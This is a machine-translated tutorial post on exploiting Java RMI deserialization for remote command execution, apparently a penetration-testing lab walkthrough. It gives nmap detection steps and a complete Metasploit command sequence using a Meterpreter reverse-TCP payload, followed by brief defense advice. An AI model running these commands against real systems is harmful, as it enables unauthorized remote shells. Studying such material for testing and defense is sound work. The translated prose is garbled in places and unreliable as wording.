当前位置:网站首页>6-17 vulnerability exploitation - deserialization remote command execution vulnerability
6-17 vulnerability exploitation - deserialization remote command execution vulnerability
2022-07-25 22:04:00 【Mountain Rabbit 1】

Java rmi Introduce
Java RMI A method of is called remotely (Remote Method Invocation). It's a mechanism , Be able to make in some java The object on the virtual machine calls another java Methods on objects in virtual machine .
RMI yes J2SE Part of , Enables programmers to develop software based on JAVA Distributed applications . One rmi The object is a remote JAVA object , Can be from another JAVA Virtual machine ( Even across the Internet ) Call its method , It can be like calling local JAVA Call the method of the remote object just like the method of the object , Is distributed in different JVM The objects in the look and behave like local objects .

We have JVM1 and JVM2,JVM1 and JVM2 You can interact back and forth ,JVM1 You can call JVM2 The method on the ,JVM2 You can call JVM1 The method on the , adopt RMI Technical realization
For any object as a parameter RMI Interface , You can send an object built by yourself , Force the server to exist this object as any one in class path To deserialize .
RMI The transmission of 100% Based on deserialization . First, he has to convert strings into objects , After deserialization, the object is converted into a string , So as to achieve the effect of transmission
Target detection rmi
Use Nmap -p 1099 -sV IP Address detection target version information .
nmap -sV -p 1099 192.168.1.106

You can see that the corresponding version information and running services are detected here , Service information localhost
In practice , Be sure to use vulnerability scanners , Conduct vulnerability detection , But we can directly POC Make use of
rmi Remote command execution utilizes
Use Metasploit Yes rmi RCE Exploit .
In fact, it is metasploit Module in , Serialize the commands of our system , Transferred to the rmi, In the process of transmission ,rmi What will be delivered , Convert to system commands , The whole process is because metasploit Constructed a special object , stay rmi server It is implemented , We are connected here server There was a conversation , The module we use is exploit
msfconsole
use exploit/multi/misc/java_rmi_server
show options
set rhosts 192.168.1.105
ifconfig
show payloads
set payload java/meterpreter/reverse_tcp
show options
set lhosts 192.168.1.103
exploit



sessions -l
sessions -i 1

?
// See the commands you can use

sysinfo

View the current system information
ps
// View current process information

Of course , We can also do other operations , Use meteasploit Conduct post penetration test , Upload and download , Fine
Defense repair
1、 There is a deserialization transport .– Particular attention , See if you can use the deserialization vulnerability to execute system commands
2、 There are defective third-party libraries such as commons-collections Timely upgrade Library , Or use another library , To replace the defective third-party library , This is what we need to do .
When setting permissions , Be sure to pay attention to , We java Of rmi process , Have the authority to execute our system , Or only part of it , Up to a point , It will restrict the execution of system commands , Achieve the effect of defense
边栏推荐
猜你喜欢

TS:typora代码片段缩进显示异常(已解决)-2022.7.24

面了个腾讯三年经验的测试员,让我见识到了真正的测试天花板

Guiding principles of information security construction

少儿编程 电子学会图形化编程等级考试Scratch一级真题解析(判断题)2022年6月

【饭谈】如何设计好一款测试平台?

3. Editors (vim)

Having met a tester with three years' experience in Tencent, I saw the real test ceiling

在进行自动化测试,遇到验证码的问题,怎么办?

Ansible+cronab batch deployment patrol

Lichuang EDA -- creation of devices 01 resistance (II)
随机推荐
[Fantan] how to design a test platform?
【测开方法论】测开平台pk心得-抉择
JMeter websocket接口测试
Why does redisv6.0 introduce multithreading?
C language: random generated number + bubble sort
C语言:随机生成数+冒泡排序
What are the application characteristics of NTU general database gbase Bi?
【饭谈】细说:下克上,向上管理,向上画饼。
Guys, how can Flink SQL submit tasks in per job mode?
C language: random generated number + selective sorting
Mouseevent event -- mouse coordinate description -- Focus event -- input event -- throttle -- mousewheel (wheel event)
Having met a tester with three years' experience in Tencent, I saw the real test ceiling
redis主从架构锁失效问题(主从)
【leetcode天梯】链表 · 021 合并两个有序链表
【饭谈】软件测试薪资层次和分段(修仙)
[leetcode ladder] linked list · 876 find the middle node of the linked list
What is redis? Briefly describe its advantages and disadvantages
At present, flynk CDC does not support mysql5.5. If you change the source code and release this restriction, there will be a lot of data problems?
Why do independent sellers like to do e-mail marketing? The original conversion rate can be improved so much!
MySQL --- 子查询 - 列子查询(多行子查询)